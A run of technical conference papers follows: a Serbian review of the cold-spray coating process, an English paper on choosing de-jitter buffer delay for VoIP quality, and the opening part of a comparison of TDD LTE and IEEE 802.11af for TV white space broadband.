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HLADNA METALIZACIJA

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Rezime:

Nanošenje zaštitnih prevlaka na mašinske delove nalazi sve širu i učestaliju primenu u svim granama industrije. Osnovna funkcija zaštinih prevlaka je produženje radnog veka mašinskih delova povećanjem otpornosti na eroziju, abraziju, oksidaciju, koroziju itd. Hladna metalizacija je postupak nanošenja dodatnog materijala u obliku praha u čvrstom stanju, na osnovni materijal (podlogu). Čestice dodatnog materijala dovode se u struju gasa koji se kreće velikim brzinama, pri čemu je temperatura struje gasa obavezno niža od temperature topljenja dodatnog materijala. Zbog relativno niske temperature u procesu nanošenja, ovim postupkom je moguće nanositi materijale koji su podložni oksidaciji (Al, Cu, Ti itd.) i razlaganju (WC, SiC itd.) na visokim temperaturama. U poređenju sa ostalim postupcima metalizacije, hladna metalizacija izdvaja se kao postupak sa najnižom temperaturom u procesu nanošenja prevlaka. Hladna metalizacija nalazi sve širu primenu u industriji, pre svega zbog izuzetnog kvaliteta dobijenih prevlaka. U ovom radu opisan je princip rada kao i područje primene postupka hladne metalizacije.

Ključne reči:

hladna metalizacija, prevlake, temperatura, brzina čestica.

1. UVOD

U poslednjih sto godina tehnološkog razvoja, nanošenje zaštitnih prevlaka na mašinske delove nalazi sve širu i učestaliju primenu. Osnovna funkcija zaštitnih prevlaka je produženje radnog veka mašinskih delova povećanjem otpornosti na eroziju, abraziju, oksidaciju, koroziju itd [1, 2]. Razvijeno je mnogo različitih postupaka nanošenja prevlaka, a jednu veliku grupu čine postupci metalizacije. Hladna metalizacija (Cold Spaying) je postupak metalizacije koji se konstantno razvija i predstavlja jedan od postupaka budućnosti [3]. U poslednjih nekoliko godina, zbog velike potražnje za proizvodnjom metalnih prevlaka u različitim industrijskim postrojenjima, postupci metalizacija, elektrolučna metalizacija žicom itd.), koji je bilo relativno teško kontrolisati, u sve precizniji alat čiji je proces prilagođen na osnovu karakteristika dodatnog materijala kao i željenih karakteristika prevlake koju je potrebno izraditi. Danas su postupci metalizacije, odnosno prevlake, našli veoma široku primenu u:

zaštiti od korozije, zaštiti od habanja, zaštiti od visokih temperatura, biomedicini (implanti), elektronskim uređajima itd. Tradicionalni postupci metalizacije kao što su metalizacija plazmom, metalizacija velikim brzinama u struji produkata sagorevanja (HVOF), metalizacija laserom, zahtevaju topljenje ili delimično topljenje dodatnog materijala (prah, žica ili šipka) koji se zatim naglo hladi usled udara o hladnu površinu podloge, i tako proizvodi prevlaku. Kod tradicionalnih postupaka metalizacije dodatni materijal je zagrejan do visokih temperatura, pa prevlake mogu da sadrže visok procentualni udeo oksida, što ograničava dalju širu upotrebu ovih postupaka. Ova ograničenja moguće je prevazići pomoću postupka hladne metalizacije, koji je razvijen relativno skoro [3-5]. Hladna metalizacija (Cold Spraying) u literaturi se može naći i pod drugim nizivima kao npr. hladna gasna dinamička metalizacija (Cold Gas Dynamic Spraying - CGDS) [6], kinetička metalizacija (Kinetic Spraying - KS) [7], dinamička metalizacija (Dynamic metallization - DYMET) [8] itd.

Pri hladnoj metalizaciji dodatni materijal je u obliku praha i on ostaje u čvrstom stanju u procesu nanošenja prevlaka na osnovni materijal (podlogu), što nam omogućuje korišćenje prahova osetljivih na oksidaciju kao što su Al, Cu, Ti itd. U ovom procesu metalizacije čestice dodatnog materijala dovode se u struju gasa koji se kreće velikim brzinama, pri čemu je temperatura struje gasa obavezno niža od temperature topljenja dodatnog materijala. Osnovne uticajne veličine na karakteristike novoformirane prevlake su temperatura čestica i brzina čestica u pri udaru u podlogu, što direktno zavisi od brzine i temperature struje gasa [1, 2]. U zavisnosti od temperature i brzine struje gasova, može se uočiti da je oblast hladne metalizacije sa najmanjim unosom toplote od svih postupaka.





U ovom radu dat je kratak opis, princip rada i područje primene postupka hladne metalizacije.

2. RAZVOJ I KARAKTERISTIKE POSTUPKA

Prva verzija sistema za hladnu metalizaciju razvijena je sredinom 1980-ih godina u Rusiji, u Institutu za teorijsku i primenjenu mehaniku Ruske akademije nauka u Novosibirsku [9,10]. Od tada do danas razvijeno je više sistema za hladnu metalizaciju i kod svih varijantih rešenja dodatni materijal (prah) ostaje u čvrstom agregatnom stanju, što ovaj postupak i razlikuje od ostalih postupaka metalizacije. Princip rada postupka hladne metalizacije sastoji se iz dovođenja dodatnog materijala u struju gasa (vazduh, N₂, He, mešavina) velike brzine, koja nastaje ekspanzijom zagrejanog gasa pod visokim pritiskom na izlazu iz konvergentno-divergentne mlaznice, Slika 2.



Slika 2. Izgled konvergentno-divergentne mlaznice.

Prah se posebno dovodi i ubrizgava u struju gasa u samu mlaznicu ili neposredno ispred mlaznice, Slika 3. Ako se prah ubrizgava u struju gasa pre mlaznice u pitanju je hladna metalizacija visokim pritiskom (HMVP), Slika 3a, pri čemu je pritisak gasa 20-45 bar, a temperatura gasa 20-800 °C. Za razliku od HMVP, ako se prah ubrizgava u struju gasa u mlaznici, u pitanju je hladna metalizacija niskim pritiskom (HMNP), Slika 3b, pri čemu je pritisak gasa 6-8 bar a temperatura gasa 20-550 °C [4, 9, 11-13]. Usled delovanja struje gasa velike brzine, čestice praha mogu dostići brzinu do 1200 m/s [14]. Čestice dodatnog materijala udaraju u pripremljenu površinu, usled čega dolazi do deformacije površine podloge i čestica praha, i na taj način formira se veza čestica/podloga. Svaka naredna čestica koja udari u površinu, po istom mehanizmu formira vezu sa prethodno deponovanim slojem. Prevlake dobijene ovim postupkom karakteriše nizak procentualni udeo poroznosti i velika sila adhezije prevlake za osnovni materijal. Naziv ovog postupka "hladna metalizacija" usvojen je zbog relativno niske temperature mlaza gasa na izlasku iz mlaznice (Slika 1) [11].

Postupkom hladne metalizacije, problemi kao što su visoko temperaturna oksidacija, isparavanje i topljenje praha, kao i kristalizacija, zatezni zaostali naponi u prevlaci i oslobađanje gasa koji se javljaju kod većine ostalih postupaka metalizacije, svedeni su na minimum ili su u potpunosti eliminisani [9].





Dokazano je da kod ovog procesa metalizacije brzina čestica dodatnog materijala ima najveći uticaj na kvalitet dobijene prevlake [12-17]. U procesu hladne metalizacije prisutan je termin kritična brzina čestica (V*), što predstavlja graničnu brzinu čestica dodatnog materijala. Ako je brzina čestica manja od V*, ne samo da neće doći do formiranja prevlake na površini osnovnog materijala, nego će čestice dobiti ulogu erodenta koji će erodirati podlogu. Samo u slučaju kada brzina čestica pređe vrednost V* stiču se uslovi pri kojima može doći do formiranja prevlake, što direktno utiče na efikasnost deponovanja [9, 12-14]. Sa povećanjem brzine čestica dodatnog materijala povećava se i efikasnost deponovanja sve do dostizanja granice zasićenja, koja je inače uvek manja od jedan, Slika 4.

Na Slici 5 prikazani su eksperimentalni rezultati koji su pokazali uticaj brzine čestica na efikasnost deponovanja u trenutku udara u osnovni materijal [15-17].

Nakon što čestice dodatnog materijala dostignu kritičnu brzinu, uočeno je da se prevlaka ne formira trenutno nego je potrebno da površina podloge bude izložena udaru čestica određeni vremenski period koji se naziva "inkubacioni period uspešne adhezije" [15-17]. Za vreme inkubacionog perioda, usled udara čestica dodatnog materijala, dolazi do aktivacije površine podloge. Sa povećanjem brzine čestica dolazi do smanjenja broja udara u osnovni materijal, koji su potrebni za aktivaciju površine podloge, odnosno do skraćenja inkubacionog perioda. Na Slici 6 prikazana je zavisnost inkubacionog perioda od brzine čestica u trenutku udara, pri čemu je kao dodatni materijal korišćen Al u obliku praha, a osnovni materijal bio je čelik [15, 16].







Slika 5. Efikasnost deponovanja u funkciji od brzine čestica dodatnog materijala u trenutku udara u supstrat (pune linije: struja gasne mešavine He i vazduha na 20 °C; isprekidane linije: struja gasne mešavine He i zagrejanog vazduha) [15-17].



Slika 6. Promena inkubacionog perioda u zavisnosti od brzine čestica dodatnog materijala u trenutku udara [15-17].

Da bi bilo moguće upešno formiranje prevlake pomoću čestica dodatnog materijala u čvrstom stanju, potrebno je da se ispune sledeći uslovi:

- temperatura gasa u mlazu uvek mora da je niža od temperature topljenja ili omekšavanja čestica dodatnog materijala;
- veličina čestica mora da bude u opsegu 1-50 μm;
- u zavisnosti od vrste i veličine čestica dodatnog materijala, brzina čestica mora da bude od 300 do 1200 m/s [14, 15, 28].

U zavisnosti od vrste dodatnog materijala menja se i kritična brzina, pa tako na primer za prahove Al, Cu, Ni i nerđajućeg čelika, V* je u opsegu od 450 do 800 m/s, pri sobnoj temperaturi gasne smeše [18]. Takođe, u zavisnosti od vrste dodatnog materijala, tj. pre svega od njegove specifične gustine, kao i od samih parametara procesa nanošenja prevlaka, postupkom hladne metalizacije moguće je ostvariti deponovanje 3-15 kg/h.

3. PRIMENA HLADNE METALIZACIJE

Postupkom hladne metalizacije moguće je nanositi čitav niz dodatnih materijala u obliku praha. Tako je moguće nanositi čiste metale (Ag, Al, Cu, Fe, Zn itd), nisko legirane čelike, Cr-Ni legure, superlegure na bazi Ni, nerđajuće čelike, legure Al, legure Zn, legure Cu, MAX faze itd. Dokazano je da su za postupak hladne metalizacije najpogodniji dodatni materijali sa niskom tačkom topljenja i relativno niskim vrednostima određenih mehaničkih karakteristika. Dodatni materijali kao što su Al, Zn [19, 20] i Cu [21, 22] izdvajaju se kao idealni za ovaj postupak metalizacije. Materijali na bazi Fe i Ni zahtevaju znatno višu temperaturu procesa i veću brzinu čestica, u cilju dobijanja prevlaka sa niskim udelom poroznosti, što povećava troškove proizvodnog procesa. Prevlake nikla, nanete postupkom hladne metalizacije, često se koriste kao osnovni (vezivni) sloj ili kao međusloj kod višeslojnih prevlaka.

Primena hladne metalizacije veoma je široka, pa se tako u automobilskoj industriji koristi za formiranje prevlaka u lokalnim zonama šasije automobila. U oblasti avio i kosmičke tehnike proučavane su karakteristike prevlaka tipa: MCrAl – prevlake za vezivne slojeve, koje su otporne na oksidaciju, kao i inkonel (IN718) za lokalne reparature [23, 24]. Postupkom hladne metalizacije moguće je nanositi i Ti, a prevlake ovog tipa pokazale su potencijal u primeni protiv zamora materijala, kao i za zaštitu od habanja, na primer na unutrašnjim površinama cilindara u motorima sa unutrašnjim sagorevanjem, pumpama i hidrauličnim cilindrima za automobilsku industriju, građevinske mašine itd. Pokazalo se da hladna metalizacija može da bude alternativno rešenje za postupak metalizacije plazmom u vakumu, kojim se nanosi Ta.

Postupak hladne metalizacije našao je primenu u nanošenju kompozitnih prevlaka, i to prevlaka koje se sastoje iz metalne matrice i tvrdih faza (Metal Matrix Composite - MMC). Ove prevlake karakteriše nizak udeo poroznosti i veoma dobra veza metalne matrice sa dispergovanim tvrdim česticama. Veoma niske temperature u samom procesu hladne metalizacije, u nekim sučajevima i 20 °C, omogućavaju nanošenje tvrdih materijala koji bi se razložili u vazduhu na temperaturama iznad 1100-1500 °C (WC, SiC itd.). Takođe, postupkom hladne metalizacije moguće je nanosti i MAX faze tipa Ti2AlC, pre svega zbog niske temperature u procesu nanošenja i velike brzine čestica dodatnog materijala [25]. Ovaj materijal poseduje ogroman potencijal u zaštiti od oksidacije na visokim temperaturama, u primeni kao vezivni sloj kod višeslojnih prevlaka itd. [26, 27].

4. ZAKLJUČAK

Hladna metalizacija je postupak nanošenja prevlaka koji za ostvarenje veze prevlaka/podloga, za razliku od ostalih postupaka metalizacije, u većoj meri koristi kinetičku energiju čestica u odnosu na toplotnu energiju. Postupkom hladne metalizacije, zbog nižih temperatura u procesu nanošenja, mogu se nanositi materijali osetljivi na visoke temperature, što je dodatno proširilo spektar primene ovog postupka. Hladna metalizacija nalazi sve širu primenu u industriji, pre svega zbog izuzetnog kvaliteta dobijenih prevlaka.

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COLD SPRAYING

Abstract:

Application of protective coatings on the surface of machine parts is increasingly and more widely used in different industrial applications. The main function of protective coating is remaining useful life extension of mechanical parts due to increased resistance to erosion, abrasion, oxidation, corrosion, etc. The cold spraying process is a coating deposition technique in which solid powders are accelerated toward a substrate. Powder particles are accelerated to very high velocities by the high speed gas stream, whereby the temperature of the gas stream is always below the particle material's melting point. Due to the relatively low heat input and temperature during cold spraying process, this process can be successfully applied in the case of materials that are susceptible to oxidation (Al, Cu, Ti, etc.) and dissolution (WC, SiC, etc.) at high temperatures. In comparison with other thermal spraying process, cold spraying stands out as a process with the lowest temperature during protective coating deposition. Cold spraying is widely used in different industries primarily due to the exceptional quality of the coating. This paper describes the principle of operation as well as area of application of cold spraying process.

Keywords:

cold spraying, coatings, temperature, particle speed.

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DE-JITTER BUFFER ROLE IN IMPROVING VOIP CONNECTION QUALITY – EXAMPLES FROM PRACTICE

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Abstract:

This paper presents the way the optimum de-jitter buffer delay is determined to achieve maximum VoIP connection quality. This delay estimation is based on presentation of 1-CDF (1- cumulative distribution function) characteristics of packet delay distribution in the field of equiquality lines "delay-packet loss" for applied coder (compressor). The results are based on a real measurement of end-to-end delay for different links in Internet and on coder (compressor) send side delay. It is proved that five-sixths connections have high or medium connection quality and that the corresponding de-jitter buffer delay is relatively small, while in about 5% of connections satisfactory connection quality cannot be achieved.

Keywords:

VoIP connection quality, E-model, equiquality lines "delay-packet loss", de-jitter buffer.

1. INTRODUCTION

Today Internet has become global world network. All kinds of people communication are realized over Internet. Among these communications, voice (or VoIP) communication is still one of the most important ones. That's why the question is whether satisfactory quality can be achieved in these voice connections and how this quality can be improved as much as possible. This paper analyzes voice quality, which can be expected according to real measured characteristics of Internet links, [1], [2], and what de-jitter buffer characteristics have to be realized at the receiving connection sides to improve connection quality as much as possible. In section I main specifications of E-model (intended for analysis of VoIP connection quality) are emphasized. Also, here the role of de- jitter buffer is described. In section II model of VoIP connection is presented and the contribution of each element in this model to packet delay is mentioned. Section III deals with distribution of packet end-to end delay, according to performed measurements. Section IV presents achievable connection quality and estimates optimum value of de-jitter buffer delay. Finally, section V is the conclusion.

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2. E-MODEL AND WHY DE-JITTER BUFFER DELAY IS IMPORTANT

E-model is computational method for estimation of VoIP connection quality. It joins influence of many heterogeneous factors into one unique quality estimation – rating factor (R).

The value of R is between 0 and 100, but, practically, the best quality is R0=94 for local ISDN connection. On the other side, values R<50 correspond to unsatisfactory voice connection quality. For 50 < R < 70 connection quality is low and for R>70 it is high or medium, [3], [4].

There are several factors, which decrease maximum VoIP connection quality (R0). According to equation (7-1) from [3], these are simultaneous impairment factor (*I*), delay impairment factor (I_{J}) and equipment impairment factor (I_{e}) , or, better said, equipment effective impairment factor (I_{e-eff}) . In this equation advantage factor (A)is a psychological element, which increases estimated voice quality. For the analysis in this paper two important components, which decrease VoIP connection quality are packet (transmission) delay (expressed as one of components included in factor I_{J}) and packet loss (included in factor I_{e-eff}). As packet delay and packet loss are greater, voice connection quality is worse, i.e. value of R is smaller. The effects of packet delay and packet loss are mutually different. It means that, when considering packet loss, we can improve R by implementation of greater buffers at the receiving side, thus "catching" packets with greater delay. But, it means that it is necessary to increase delay of all packets to the delay of a packet with the greatest acceptable delay. Packet delay increasing leads, on the other side, to *R* deterioration. If we, on the other hand, implement smaller buffers, packet delay is smaller and connection quality is better if we consider delay. But, in the same time, packet loss is greater and *R* is smaller if we consider this loss. The consequence of this qualitative analysis is that there should be some optimum pair of values of packet delay and loss, where VoIP connection quality is greatest. The role of de-jitter buffer is to eliminate (not accept) all packets with greater delay than the optimum one.

3. MODEL OF VOIP CONNECTION AND FACTORS OF VOICE CONNECTION QUALITY DECREASE

A model of one VoIP connection between two telephone users (TA and TB) is presented in Figure 1, [5]. The elements, included in connection realization can be divided in three groups: elements on the sending side, elements on the link between two users and elements on the receiving side.

Gateways (GWA and GWB) are situated on the sending and receiving side of the connection. On the sending side in GWA voice connections packets are prepared for transmission. Here the most important activities are voice signal compression (coding), packetization, implementation of outgoing signal buffer and voice activity detection (VAD). On the receiving side in GWB voice connection packets are decompressed (decoded), depacketized and delay of all received packets is equated by de-jitter buffer implementation.



TA, TB - telephone; GWA, GWB – gateway; POL, PIL – peripheral outgoing an incoming link; MOL, MIL – magistral outgoing an incoming link; PR, MR – peripheral, magistral router; core – magistral network Fig. 1. A model of VoIP connection.

The other elements in Figure 1 form a route between GWA and GWB, i.e. between users (connection participants). The elements of this route are routers (peripheral routers – PR and magistral routers - MR) and links (peripheral outgoing and incoming links – POL and PIL, and magistral outgoing and incoming links - MOL and MIL).

All elements presented in Figure 1, which are included in packet transmission, contribute to the decrease of voice connection quality. This quality decrease is, first of all, the result of packet delay. Each element in Figure 1 increases (more or less) total packet end-to-end delay. Packet loss is, also, important factor, which decreases voice connection
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quality. But, in modern networks, with the implementation of good quality optical links and high-speed signal processing, as well as improved protocols, importance of packet loss becomes less significant.

Delay of the elements on a route between GWA and GWB is called end-to-end delay and the results of its measurement can be found in literature, as, for example, in [1], [2]. The signal processing in GWA and GWB increases voice signal delay between users over the value of end-to end delay. Signal delay on the sending side is dominant comparing to delay on the receiving side. This delay (called send side delay - t_{cd}) on the sending side is necessary to perform coding (compression), packetization and to achieve correct timing relations between transmitted packets. The values of t_{sd} for different coder (compressor) types are presented in [6], and the values for coders (compressors), which are analyzed in this paper, are presented in Table I, [7]. The analyzed coders (compressors) are G.711 without packet loss concealment (PLC), G.711 with PLC, G.729 with VAD (G.729+VAD) and G.723.1. The values of tsd are added to end-to-end delay.

Coder (compressor)	t _{sd} (ms)
G.711	0.375
G.723.1	97.5
G.729	35

Table 1. Maximum values of send side delay.

4. DISTRIBUTION OF PACKET DELAY

The results of our analysis of optimum de-jitter buffer delay are based on comprehensive delay measurements between Internet network nodes. According to the results of measurements, presented in [1], [2], all paths between test- boxes, situated all over the world, can be classified in five classes, when packet delay is considered. The first four of them are categorized according to their specific shape of delay probability density function (PDF), while the fifth one can't be categorized (the measured delay traces mainly occurred only once and they do not fit to any of the first four traces).

The first four end-to-end delay distribution classes are presented in figures 2-5. These distribution classes are named according to the delay distribution PDF shape: class A (or Gamma-like with heavy tail), class B (or Gamma-like with Gaussian or triangle lob), class C (or Two gamma-like distributions) and class D (or Many peaks). Class A is the most frequent distribution class (84% of traces), while the other three classes are significantly less frequent (class B distribution is noticed in 6.3% of cases, class C in 2.8% of cases and class D in 5% of cases). For our analysis the most important elements for each of these distributions are time 95% (it is expected that 95% of packets on the link have smaller delay), time 99% (it is expected that 99% of packets on the link have smaller delay) and maximum delay. The concrete values for the presented distributions are emphasized in figures 2-5. On the basis of these values and the plotted PDF characteristics, it is possible to determine 1-CDF distribution characteristic for the last 5% of packet delay PDF. The optimum value of de-jitter buffer delay is always found in these last 5% of 1-CDF characteristic.



Fig. 2. Class A PDF of packet end-to-end delay distribution-gamma-like shape with heavy tail, taken from [1], [2]



Fig. 3. Class B PDF of packet end-to-end delay distribution-gamma-like with Gaussian or triangular lob, taken from [1], [2].



Fig. 4. Class C PDF of packet end-to-end delay distribution-two gamma-like distributions, taken from [1], [2].



Fig. 5. Class D PDF of packet end-to-end delay distribution – many peaks, taken from [1], [2].

5. ESTIMATION OF VOIP CONNECTION QUALITY

The estimation of maximum VoIP connection quality may be performed in the field of equiquality lines "delaypacket loss". The way how these, originally developed, characteristics are constructed is presented in [8], [9].

[8], [9] also describe how cumulative distribution function (CDF) characteristics of packet delay are constructed and how 1-CDF characteristics, plotted in a field of equiquality lines, are used to determine maximum voice connection quality. These characteristics are also used to determine optimum de-jitter buffer delay.

Modified characteristics 1-CDF for four classes of packet delay distribution (classes A, B, C and D) are presented in the field of equiquality lines in figures 6-18. The modification of original 1-CDF characteristics supposes addition of t_{sd} . It means that original characteristics are shifted to the right for t_{sd} . This shift can be noticed in the case of G.729+VAD and G.723.1 compressors, while in the case of G.711 it is negligible. Characteristic 1-CDF in figures 6-18 is a trend line of real 1-CDF characteristic, obtained according to packet delay PDFs in figures 2-5.



Fig. 6. VoIP connection quality for class A delay packet distribution when G.711 coder without PLC is implemented.



Fig. 7. VoIP connection quality for class A delay packet distribution when G.711 coder with PLC is implemented.



Fig. 8. VoIP connection quality for class A delay packet distribution when G.729+VAD compressor is implemented.



Fig. 9. VoIP connection quality for class A delay packet distribution whenG.723.1 compressor is implemented.

Figures 6-9 can be used to determine voice connection quality and optimum de-jitter buffer delay for class A packet distribution. Figure 6 corresponds to the case of G.711 coder without PLC, Figure 7 to G.711 coder with PLC, Figure 8 to G.729+VAD compressor and Figure 9 to G.723.1 compressor. Optimum de-jitter buffer delay is the one, where voice quality is maximum. Figures 10-17 are used to determine voice connection quality and optimum de-jitter buffer delay for class B (figures 10-13) and for class C packet distributions (figures 14-17). Figures 10 and 14 are for G.711 coder without PLC, figures 11 and 15 for G.711 with PLC, figures 12 and 16 for G.729+VAD compressor and figures 13 and 17 for G.723.1 compressor.

In the case of class D distribution acceptable voice quality can't be achieved. It can be concluded from Figure 18 that, even in the case of implementation of G.711 coder with PLC, which always gives the best voice quality, the connection rating factor is R<50.

class	Coder (compressor)	tDB (ms)	R
	G.711 without PLC	40	<80
	G.711 with PLC	40	92
A	G.729+VAD	80	81.5
	G.723.1	140	75
В	G.711 without PLC	260	70
	G.711 with PLC	140	82
	G.729+VAD	180	68
	G.723.1	220	56.5
	G.711 without PLC	150	57.5
C	G.711 with PLC	110	81.5
C	G.729+VAD	140	66
	G.723.1	200	53.5
	G.711 without PLC		<50
D	G.711 with PLC		<50
D	G.729+VAD		<50
	G.723.1		<50

Table 2. Optimum de-jitter buffer delay and corresponding connection rating factor.

Optimum de-jitter buffer delay (t_{DB}) and corresponding connection rating factor (R) for all packet distributions and coder (compressor) types from figures 6-18, are presented in table II. The values of t_{DB} are obtained as the difference of values, estimated from figures 6-18, and the minimum packet delay, emphasized in figures 2-5.

When considering values from table II, it can be concluded that high or medium VoIP connection quality can be achieved for class A packet delay distributions, regardless of the type coder (compressor), and this is the situation in about five-sixths of connection routes. Optimum de-jitter buffer time in these cases is not great, meaning that there is no need for very great memory capacity to realize de-jitter buffer. For class D packet delay distribution (5% of routes) it is not possible to achieve the threshold of satisfactory voice quality R=50.

Between two mentioned packet groups are classes B and C. A higher value of R can be achieved for the class B, than for class C. However, the delay (and, therefore, the required memory capacity) is higher in the case of class B. It is characteristic for class C packet delay distribution that the call quality is even worse significantly if G.711 coder without PLC is applied than if G.729+VAD is implemented. For the same class C, the quality of G.711 without PLC connection is not much better (about ΔR =4 units) comparing to G.723.1 compressor connection. In the case of class B and class C distributions, only implementation of the best coder G.711 with PLC guarantees connection quality, which is not low (*R*>70).



Fig. 10. VoIP connection quality for class B delay packet distribution when G.711 coder without PLC is implemented.



Fig. 11. VoIP connection quality for class B delay packet distribution when G.711 coder with PLC is implemented.



Fig. 12. VoIP connection quality for class B delay packet distribution when G.729+VAD compressor is implemented.







Fig. 14. VoIP connection quality for class C delay packet distribution when G.711 coder without PLC is implemented.



Fig. 15. VoIP connection quality for class C delay packet distribution when G.711 coder with PLC is implemented.



Fig. 16. VoIP connection quality for class C delay packet distribution when G.729+VAD compressor is implemented.



Fig. 17. VoIP connection quality for class C delay packet distribution when G.723.1 compressor is implemented.



Fig. 18. VoIP connection quality for class D delay packet distribution when G.711 coder with PLC is implemented.

6. CONCLUSION

In this paper the measured PDFs of end-to-end delay in packet transmission over Internet, together with send side delay in packets prepared at the sending side, are used as the starting point to determine 1-CDF total packet transmission delay characteristics. These 1-CDF characteristics are then presented in the field of equiquality lines "delay-packet loss", which are specific for each coder (compressor). From such combined characteristics it is possible to choose optimum de- jitter buffer delay to obtain maximum VoIP connection quality.

As the result of analysis, it can be concluded that great majority of connections (five-sixths with class A PDF distribution) have high or medium voice quality (R>70), regardless of coder (compressor) type. Necessary de-jitter buffer delay is small in these cases, so there is no need for a great memory capacity. Further about 10% of connections have worse quality, which is in the area of low connection quality (50 < R < 70) for all coder (compressor) types, except for G.711 coder with PLC. In these cases it is advisable to use the best coder type. On the last group of connections (more than 5% of links in class D) connection quality is unsatisfactory, regardless of coder (compressor) type.

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DEDICATION

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ELECTRONIC COMMUNICATIONS AND DIGITAL BROADCASTING SYSTEMS

COMPARISON OF TDD LTE AND IEEE 802.11AF DEPLOYMENT IN TVWS BAND

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Abstract:

Comparison of TVWS solutions based on TDD LTE and IEEE 802.11af has been presented. It can be concluded that both technologies provide option for deployment in UHF TV band but selection should be made on multiple criteria such as type of end users, required technical parameters and overall price of the deployment. It is shown that proposed solutions could serve for alternative wireless broadband access in developed countries as well for underserved and low income population. It can be concluded that IEEE 802.11af will be superseded by IEEE 1900 standard based solutions in order to improve its' communication and coexistence performances while TDD LTE could be a better solution regarding throughput and costs of deployment if sufficient spectrum is available.

Keywords:

TV white space, TDD long term evolution, broadband wireless access.

1. INTRODUCTION

Affordable ubiquitous nomadic and mobile broadband access has been assumed by end users in many countries. Although wireless broadband access is available, it is often not affordable to all population. Because of that, it is still interesting to investigate technologies and solutions that could be used to provide wireless broadband services to the underserved end users. After years seeing WiMAX as a potential solution for broadband wireless access, even after large scale deployments like the one described in [1], license free bands and secondary use of licensed bands have become more interesting. Two most interesting solutions are time division duplex (TDD) based long term evolution (LTE) [2] and IEEE 802.11af [3] and IEEE 1900 group of standards [4] intended for deployment in frequency bands intended for TV signal terrestrial broadcasting. These solutions have been seen as potential solutions for deployment of wireless networks with large coverage footprint that could serve users both in indoor and outdoor environment. There has been extensive analysis related to 3G and 4G networks [5] performances and some research related to IEEE 802.11af technology [6] and in general technology intended for TV White Space (TVWS) [6, 7]. Nevertheless, direct comparison on multiple criteria has not been performed in order to estimate in what scenarios is each of these technologies a better solution for underserved and low income end users.

In order to perform such analysis, we have performed simulation analysis of IEEE 802.11af and TDD LTE deployments in the selected London area in order to estimate coverage and throughput but also deployment simplicity and financial requirements. In the Heading II, basic description of aforementioned technologies has been provided stressing the key comparison criteria. In Heading III we describe simulation model and provide results for comparison on TVWS solutions in urban London area. Heading IV is discussing costs requirements related to the used equipment and proposed scenarios while Heading V provides concluding remarks.

2. KEY TECHNICAL AND ECONOMIC PARAMETERS

TVWS band has attracted attention of several research institutions [8, 9] and several equipment manufacturers that offer their solutions. In general, 2 key technologies have arisen as candidates for deployment in TVWS. One is IEEE 802.11af that has been defined as IEEE 802.11 series standard intended for solutions deployed at TV bands and TDD LTE. Each technology provides certain benefits so they should be compared before final selection.

IEEE 802.11af that is superseded by 1900 standard series operates with 6MHz and 8MHz channel bandwidths, which is appropriate for FCC [10, 11] and ETSI TV standards [12-15]. Also, it could be used with bundled TV channels thus allowing operation with 2 neighboring TV channels and theoretically even 4. On the other side, TDD LTE offers operation with different channel bandwidths, starting from 5MHz, over 10MHz and 15MHz to 20MHz. As such, only 5MHz could be used in the case of a single TV channel while others when at least 2 or 3 TV channels are bundled according to ETSI TV channel bandwidth specifications.

Frequency band from 470MHz to 790MHz has been seen as a candidate for deployments of TVWS systems [16]. Thanks to selected frequency band, propagation effects are rather good and much better comparing to previously used 2.5GHz or 3.5GHz used in the case of WiMAX deployed for fixed wireless access. In the existing trials and deployments, LTE based solutions have been deployed in upper part of this band, from 700MHz and above while IEEE802.11af solutions have been deployed in frequencies close to 500MHz. Due to such frequencies selection, in a free space loss environment, IEEE 802.11af would have additional 3-3.5dB in a link budget, comparing to TDD LTE.

Deployment of TVWS systems as secondary users in TV band is very limited due imposed constraints of interference caused to primary (TV) users, [16, 17]. It can be concluded that such deployment, as secondary users in occupied TV channels, with low cost end user equipment is hard to achieve as it might require sensitivity levels as low as -140dBm or - 120dBm [16]. Because of that, it is to expect that TVWS systems will be deployed in areas where certain TV channels are not used by primary users. Digital Dividend II has been specified in the band from 694MHz to 790MHz with intention to make this band available for mobile communication services. Because of that, it can be expected that it will be somewhat easier to find available radio channels in the part of the frequency band below 694MHz. Either it might be during the transmission period while freeing the band from TV broadcasting or after as a part of overall LTE ecosystem. Nevertheless, certain types of deployment such as deployments in underground environment will not impose any limits on frequency bands used.

TVWS devices can provide up to 4W (36dBm) of effective isotropic radiated power (EIRP) with strong intention to limit EIRP to as low as 16dBm, especially in the case of end user portable devices [18] in order to minimize interference towards primary spectrum users. It should be stressed that ETSI [19] has somewhat less restrictive requirements thus enabling more relaxed deployment. Nevertheless, in the case of UK, analysis from OFCOM [20] has shown that implementing lower transmission powers will enable a higher number of TV channels to be available for TVWS systems deployment. In deployment scenarios presented in [20] it is stated that there will be only 28% of locations with 5 TV channels available for TVWS systems deployment while with 25dBm and 20dBm this availability goes up to 77% and 88% and for more restrictive deployments even over 90% of locations.

It is most likely that transmission power will be limited due to regulatory issues and potential interference during the operation. We can say that available transmission power will not be the key parameter for selecting IEEE 802.11af or TDD LTE TVWS equipment for the deployment. Existing IEEE 802.11af equipment usually can have receiver sensitivity level (RSL) close to -102dBm in order to keep connection alive at QPSK. TDD LTE equipment would have the same level and in the case of complex antenna configurations even lower, down to -112dBm. Nevertheless, such low levels are not applicable for end user side, especially if low cost devices are required.

Both IEEE 802.11af and LTE TDD could be defined as broadband wireless technologies. Assuming 6MHz wide

TV channel, commercial IEEE 802.11af based devices could provide throughputs over 30Mb/s in a single 8MHz wide TV channel, Table 1.

Modulation	Code	Data	Pilot	Throug	ghput
	Rate	Subca	rriers	CP 4.5µs	СР 2.25µs
BPSK	1/2	108	6	2.4	2.7
QPSK	1/2	108	6	4.8	5.3
QPSK	3/4	108	6	7.2	8
16-QAM	1/2	108	6	9.6	10.7
16-QAM	3/4	108	6	14.4	16
64-QAM	2/3	108	6	19.2	21.3
64-QAM	3/4	108	6	21.6	24
64-QAM	5/6	108	6	24	26.7
256-QAM	3/4	108	6	28.8	32
256-QAM	5/6	108	6	32	35.6

Table 1. Throughput for ieee 802.11af device in8mhz wide tv channel, [3].

In practical deployments, these throughputs are smaller but still over several megabits per second thus providing broadband access to end users. With multiple channels bundled, IEEE 802.11af can provide throughputs over 50Mb/s and 100Mb/s, which is more than enough for home and business users. LTE TDD can provide similar throughputs at 5MHz wide channel and up to 112Mb/s for 20MHz wide channel assuming Category 3 LTE device. It is clear that both technologies could serve as an alternative broadband technology if enough of spectrum is available.

